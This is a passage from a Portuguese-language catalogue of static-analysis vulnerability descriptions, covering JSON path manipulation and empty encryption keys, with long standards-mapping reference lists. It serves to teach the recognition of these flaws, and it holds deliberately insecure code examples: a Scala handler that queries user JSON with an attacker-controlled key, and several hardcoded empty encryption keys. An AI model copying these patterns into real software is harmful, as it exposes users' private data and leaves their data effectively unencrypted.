[50] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002530 CAT II, APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002530 CAT II, APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
desc.dataflow.php.json_path_manipulation
Abstract
O aplicativo realiza uma consulta JSON com dados não confiáveis que podem permitir que os invasores consultem partes inesperadas do documento JSON.
Explanation
Há diversas tecnologias que fornecem a capacidade de navegar por documentos JSON usando uma sintaxe de acesso semelhante a uma árvore. Usando esse tipo de passagem de documento, um adversário pode consultar as partes de um documento JSON às quais ele não deveria ter acesso.

Exemplo 1: O código a seguir usa uma palavra-chave definida pelo usuário para acessar um documento JSON que contém detalhes públicos do usuário, como nome e endereço, mas o documento JSON também contém detalhes privados, como senha.


def searchUserDetails(key:String) = Action.async { implicit request =>
val user_json = getUserDataFor(user)
val value = (user_json \ key).get.as[String]
...
}


Como key pode ser controlada pelo usuário, um usuário mal-intencionado pode tirar proveito disso para acessar as senhas do usuário e todos os outros dados privados que possam estar contidos no documento JSON.
References
[1] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[2] Standards Mapping - FIPS200 SI
[3] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[4] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2012 Rule 1.3
[5] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[6] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2023 Rule 4.1.3
[7] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[8] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[9] Standards Mapping - OWASP API 2023 API1 Broken Object Level Authorization
[10] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[11] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[12] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[13] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[14] Standards Mapping - OWASP Top 10 2010 A1 Injection
[15] Standards Mapping - OWASP Top 10 2013 A1 Injection
[16] Standards Mapping - OWASP Top 10 2017 A1 Injection
[17] Standards Mapping - OWASP Top 10 2021 A03 Injection
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[27] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[28] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[29] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[30] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[31] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[32] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002530 CAT II, APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002530 CAT II, APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
desc.dataflow.scala.json_path_manipulation
Abstract
Chaves de criptografia vazias podem comprometer a segurança de uma maneira difícil de remediar.
Explanation
Nunca é uma boa ideia usar uma chave de criptografia vazia, pois isso reduz significativamente a proteção conferida por um bom algoritmo de criptografia, além de também tornar a correção do problema extremamente difícil. Depois que o código ofensor estiver em produção, a chave de criptografia vazia não poderá ser alterada sem uma aplicação de patch no software. Se uma conta protegida pela chave de criptografia vazia for comprometida, os proprietários do sistema deverão escolher entre a segurança e a disponibilidade.

Exemplo 1: O exemplo a seguir usa uma chave de criptografia vazia:


...
encryptionKey = "".
...


Qualquer pessoa com acesso ao código será capaz de determinar que ele utiliza uma chave de criptografia vazia, mas, pior do que isso, qualquer pessoa com as técnicas mais básicas de cracking terá muito mais chances de descriptografar dados criptografados com sucesso. Depois que o programa for distribuído, é necessário um pacote de software para alterar a chave de criptografia vazia. Um funcionário com acesso a essas informações pode usá-las para invadir o sistema. Mesmo que os invasores só tivessem acesso ao executável do aplicativo, eles poderiam extrair evidências do uso de uma chave de criptografia vazia.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450, CCI-002478
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 IA-5 Authenticator Management (P1), SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1), SC-28 Protection of Information at Rest (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 IA-5 Authenticator Management, SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection, SC-28 Protection of Information at Rest
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.abap.key_management_empty_encryption_key
Abstract
Chaves de criptografia vazias podem comprometer a segurança de uma maneira difícil de remediar.
Explanation
Nunca é uma boa ideia usar uma chave de criptografia vazia, pois isso reduz significativamente a proteção conferida por um bom algoritmo de criptografia, além de também tornar a correção do problema extremamente difícil. Depois que o código ofensor estiver em produção, a chave de criptografia vazia não poderá ser alterada sem uma aplicação de patch no software. Se uma conta protegida pela chave de criptografia vazia for comprometida, os proprietários do sistema deverão escolher entre a segurança e a disponibilidade.

Exemplo 1: O código a seguir realiza a criptografia AES usando uma chave de criptografia vazia:


...
var encryptionKey:String = "";
var key:ByteArray = Hex.toArray(Hex.fromString(encryptionKey));
...
var aes.ICipher = Crypto.getCipher("aes-cbc", key, padding);
...


Qualquer pessoa com acesso ao código será capaz de determinar que ele utiliza uma chave de criptografia vazia, mas, pior do que isso, qualquer pessoa com as técnicas mais básicas de cracking terá muito mais chances de descriptografar dados criptografados com sucesso. Depois que o programa for distribuído, é necessário um pacote de software para alterar a chave de criptografia vazia. Um funcionário com acesso a essas informações pode usá-las para invadir o sistema. Mesmo que os invasores só tivessem acesso ao executável do aplicativo, eles poderiam extrair evidências do uso de uma chave de criptografia vazia.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450, CCI-002478
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 IA-5 Authenticator Management (P1), SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1), SC-28 Protection of Information at Rest (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 IA-5 Authenticator Management, SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection, SC-28 Protection of Information at Rest
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.actionscript.key_management_empty_encryption_key
Abstract
Chaves de criptografia vazias podem comprometer a segurança de uma maneira difícil de remediar.
Explanation
Nunca é uma boa ideia usar uma chave de criptografia vazia. Usar uma chave de criptografia vazia não só reduz significativamente a proteção conferida por um bom algoritmo de criptografia, como também torna a correção do problema extremamente difícil. Depois que o código ofensor estiver em produção, a chave de criptografia vazia não poderá ser alterada sem uma aplicação de patch no software. Se uma conta protegida pela chave de criptografia vazia for comprometida, os proprietários do sistema deverá escolher entre a segurança e a disponibilidade.

Exemplo 1: O código a seguir usa uma chave de criptografia vazia:


...
char encryptionKey[] = "";
...


Qualquer pessoa com acesso ao código será capaz de determinar que ele utiliza uma chave de criptografia vazia, mas, pior do que isso, qualquer pessoa que utilizar até mesmo as técnicas mais básicas de cracking terá muito mais chances de descriptografar dados criptografados com sucesso. Após a distribuição do programa, é necessário um patch de software para alterar a chave de criptografia vazia. Um funcionário com acesso a essas informações pode usá-las para invadir o sistema. Mesmo que os invasores só tivessem acesso ao executável do aplicativo, eles poderiam extrair evidências do uso de uma chave de criptografia vazia.
References
[1] Encrypting Your App's Files Apple
[2] Standards Mapping - Common Weakness Enumeration CWE ID 321
[3] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[8] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450, CCI-002478
[10] Standards Mapping - FIPS200 IA
[11] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[12] Standards Mapping - NIST Special Publication 800-53 Revision 4 IA-5 Authenticator Management (P1), SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1), SC-28 Protection of Information at Rest (P1)
[13] Standards Mapping - NIST Special Publication 800-53 Revision 5 IA-5 Authenticator Management, SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection, SC-28 Protection of Information at Rest
[14] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[15] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[16] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[17] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[18] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[19] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[21] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[23] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[36] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
